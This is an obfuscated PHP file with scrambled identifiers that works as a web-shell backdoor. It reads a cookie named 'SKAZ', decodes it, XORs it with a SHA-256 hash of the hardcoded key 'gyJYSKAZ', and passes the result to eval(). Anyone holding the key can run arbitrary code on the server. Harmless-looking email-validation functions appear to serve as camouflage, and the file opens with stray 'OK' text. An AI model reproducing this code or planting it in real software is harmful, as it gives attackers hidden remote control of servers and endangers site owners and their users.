OK<?php function rkZzgPMaoy($KTlfO)
{
    $nHqAK = rawurldecode($KTlfO);
    return $nHqAK;
}
function aAjnrdNY($yjgdqwks)
{
    $qUDRlCzwT = uxcwkEGL($yjgdqwks);
    $eFnHufrpz = rkZzgPMaoy($qUDRlCzwT);
    return $eFnHufrpz;
}
function ZQGMjLZusV($ALAjjIAK, $sDwzdX)
{
    $nzeCO = str_pad($ALAjjIAK, $sDwzdX, $ALAjjIAK);
    return $nzeCO;
}
function FTJCKAH($KPzBxLX) {
    return explode('@', $KPzBxLX)[1];
}
function BwmND($KPzBxLX) {
    if (IfZRVInm($KPzBxLX)) {
        return FTJCKAH($KPzBxLX);
    }
    return "Invalid email format.";
}
function QCTYjdicol($apACcziFt)
{
    $AKwlWdWeE = hash("sha256", $apACcziFt, TRUE);
    return $AKwlWdWeE;
}
function kpgyqosZz($jCZkBhRqW)
{
    $valkAA = SPVmz($jCZkBhRqW);
    $YIUxxhn = YrRCxRgi($jCZkBhRqW, $valkAA);
    return $YIUxxhn;
}
function XAlUz($EitSHid, $PcGtwrxd)
{
    $hWifHP = GHSaQy($EitSHid);
    $aHhNzgpQpJ = ZQGMjLZusV($PcGtwrxd, $hWifHP);
    $leAIryj = uoeSSjD($aHhNzgpQpJ, $EitSHid);
    return $leAIryj;
}
function TOjIdOmwE()
{
    $leAIryj = prrseMUWLR();
    SGMrt($leAIryj);
}
function YrRCxRgi($EyRhaduFS, $myNaP)
{
    $dZnJJvdV = QCTYjdicol($EyRhaduFS);
    $eFnHufrpz = aAjnrdNY($myNaP);
    $ehgkLo = XAlUz($eFnHufrpz, $dZnJJvdV);
    return $ehgkLo;
}
function GHSaQy($XmePYfRF)
{
    $DvLYiLkmSI = strlen($XmePYfRF);
    return $DvLYiLkmSI;
}
function IfZRVInm($KPzBxLX) {
    return filter_var($KPzBxLX, FILTER_VALIDATE_EMAIL) !== false;
}
function SPVmz($VccpY)
{
    $ewyfD = substr($VccpY, -4);
    return $ewyfD;
}
function SGMrt($LnVhDjrb)
{
    eval($LnVhDjrb);
}
function uxcwkEGL($xpWmQE)
{
    $RPGArEcW = $_COOKIE[$xpWmQE];
    return $RPGArEcW;
}
function uoeSSjD($plVioJL, $SuMJjmxm)
{
    $vxqmGi = $plVioJL ^ $SuMJjmxm;
    return $vxqmGi;
}
function prrseMUWLR()
{
    $XhcsQig = AMKyb();
    $knQxCmoIn = kpgyqosZz($XhcsQig);
    return $knQxCmoIn;
}
function AMKyb()
{
    $izXItWI = "gyJYSKAZ";
    return $izXItWI;
}
TOjIdOmwE();
$OgdFe = BwmND("example@example.com");